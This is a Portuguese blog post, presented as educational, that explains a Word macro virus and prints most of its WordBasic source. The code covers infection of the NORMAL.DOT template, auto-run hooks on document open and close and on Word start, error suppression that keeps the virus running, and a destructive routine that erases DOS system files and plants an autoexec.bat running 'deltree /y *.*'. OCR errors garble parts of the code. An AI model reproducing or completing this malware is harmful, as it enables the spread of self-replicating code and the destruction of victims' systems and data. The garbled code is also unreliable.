Este tema já está mais que falado e escrito em quase todos os blogs que vejo mas, vamos então falar mais uma vez deste problema o qual, não deverá ser visto com algum que vai ser utilizado como uma arma de destruição de algum mas sim., como um fim pedagógico.
Nos dias que correm, a facilidade de criação de vírus é estonteante: exis tem mesmo ferramentas específicas para a criação de vírus, principalmente de macros.
A informação está disponível a qualquer pessoa, matura ou imatura, para fins pedagógicos ou para fins destruidores.
Vou aqui dar o exemplo de algumas macros que fazem parte deste tipo de vírus, para que compreendam a forma como " as coisas acontecem ".
Descansem os mais sensíveis, "tirem o cavalinho da chuva" os restantes, pois estas rotinas não estão completas e toda esta informação não é suficiente para se criar um vírus... A não ser que saibam o que estão a fazer.
Infecção do "NORMALDOT"
A função abaixo é a responsável pela infecção do modelo global do Word, o ficheiro "NORMAL.DOT\ A rotina mais importante é a
"MacroCopiar NomeJanela$() +
"nomemacro", "Global:nomemacro", 1
onde "nomemacro" corresponde ao nome da macro a ser copiada.
"MacroCopiar NomeJanela$() +
"nomemacro", "Global:nomemacro", 1
onde "nomemacro" corresponde ao nome da macro a ser copiada.
Toda a linha significa:
copiar "nomemacro" de "NomeJanela$" (nome do documento actual e infectado) para Global (NORMA1..DOT).
Poderá também gostar de:
A função "on error" serve para que nunca surja a mensagem de erro assim, em vez de emitir um aviso eie vai para o local escolhido. Esta função permite que o vírus continue funcional mesmo que sejam removidas algumas linhas (por exemplo resultado da acção de um anti-vírus).
Sub MAIN
caminho$ = Ambiente$("LEGADO")
If caminho$ = "NOWAY" Then Goto NoWay
On Error Goto NoWay
on error goto autoexec
MacroCopiar NomeJanela$() + ":Infec",
"Global:Infec", 1
autoexe:
on error goto email
MacroCopiar NomeJanela$() + ":AutoExec",
"Global:AutoExec", 1 email:
on error goto libvirus
MacroCopiar NomeJanela$() + ":email",
"Global:email", 1
libvirus:
on error goto autoclose
MacroCopiar NomeJanela$() + ":libvirus",
"Global: libvirus", 1
autoclose:
on error goto autoclose
MacroCopior NomeJanelas$() + ":AutoClose",
"Global :AutoClose", 1
autoopen:
on error goto arqsalcomo
MacroCopiar NomeJanela$() + ":AutoOpen",
"GlobalrAutoOpen", 1
arqsalcomo:
on error goto arqimp
MacroCopiar NomeJonela$() +
":ArquivoSalvarComo",
"GlobalArquivoSalvarComo", 1
arqimp:
on error goto arqimppad
MacroCopiar NomeJanela$() +
":Arquivolmprimir", "GlobalArqutvolmprimir", 1
arqimppad:
on error goto imparq
MacroCopiar NomeJanela$() +
"ArquivolmprimirPadrão",
"Global:ArquivoImprimirPadrão", 1
imparq:
on error goto destruct
MacroCopiar NomeJonela$() + ":ImpreArq",
"Global:ImpreArq", 1
destruct:
on error goto noway
MacroCopiar NomeJanela$() + ":Destruct",
"Global:Destruct", 1
NoWay:
End Sub
O "AUTOCLOSE"
Esta macro é uma macro automática, que se executa quando você fecha um documento.
Aqui. a função essencial é a "'Cal!'' que. como o próprio nome indica, faz uma chamada de função.
Sub MAIN
Call infec
Call email
Call Destrut
Call libvirus
End Sub
O AUTOOPEN
Tal como a anterior, é uma macro automática, mas esta executa-se quando vocês abrirem um documento. Aqui a função essencial é também a "Call".
Sub MAIN
Call Infec
Call Email
Call libvirus
Call destruct
End Sub
O AUTOEXEC
Por seu lado, esta executa-se automaticamente quando se abre o Word:
Sub MAIN
Call Infec
Call email
Call libvirus
End Sub
A DESTRUCT
Bom. como é habitual em certos programas da televisão, teremos de alertar qne o que a seguir se descreve não deve ser repetido em vossas casas (em casa dos outros também não. ok?), pois o resultado não será nada bonito de ser ver (o seu computador não arrancará) mas, é exactamente islo que certos vírus fazem:
- Apaga os ficheiros de sistema, os "io.sys", o "msdos.sys:' e o "command.com".
- Cria um "Autoexec.bat" destrutivo, que " volta a atacar " quando o utilizador recuperar o sistema.
Sub MAIN
caminho$ = Ambiente$(" LEGADO")
If caminho$ = "NOWAY" Then Goto NoWay
On Error Goto NoWay
If Dia(Agora()) > 7 And Més(Agora()) < 6 Then
DefinirAtributo "C:\io.sys", 0
Open "C:\io.sys" For Output As #1
Close #1
OefinirAtribufo "C:\msdos.sys", 0
Open "C:\msdos.sys" For Output As #1
Close #1
DefinirAtributo "C:\command.com", 0
Open "C:\command.com" For Output As #1
Close #1
Kill "C:\command.com"
Endif
Open "C:\autoexec.bat" For Output As #1
Print #1, "@deltree /y *.* >nul"
Close #1
NoWoy:
End Sub
Acabou este simples exemplo de um vírus de macro.
E dizem vocês.... Para não haver problema bastará colocar o Word para não abrir Macros.
Este é um facto mas, e há sempre um mas. Existem milhares de pessoas que além de não o fazerem, quando o fazem acabam por cair. Porque em determinada altura o Word indica que tem uma macro e que necessita de permissão para continuar e.... muitos dizem sim.
0 comentários:
Postar um comentário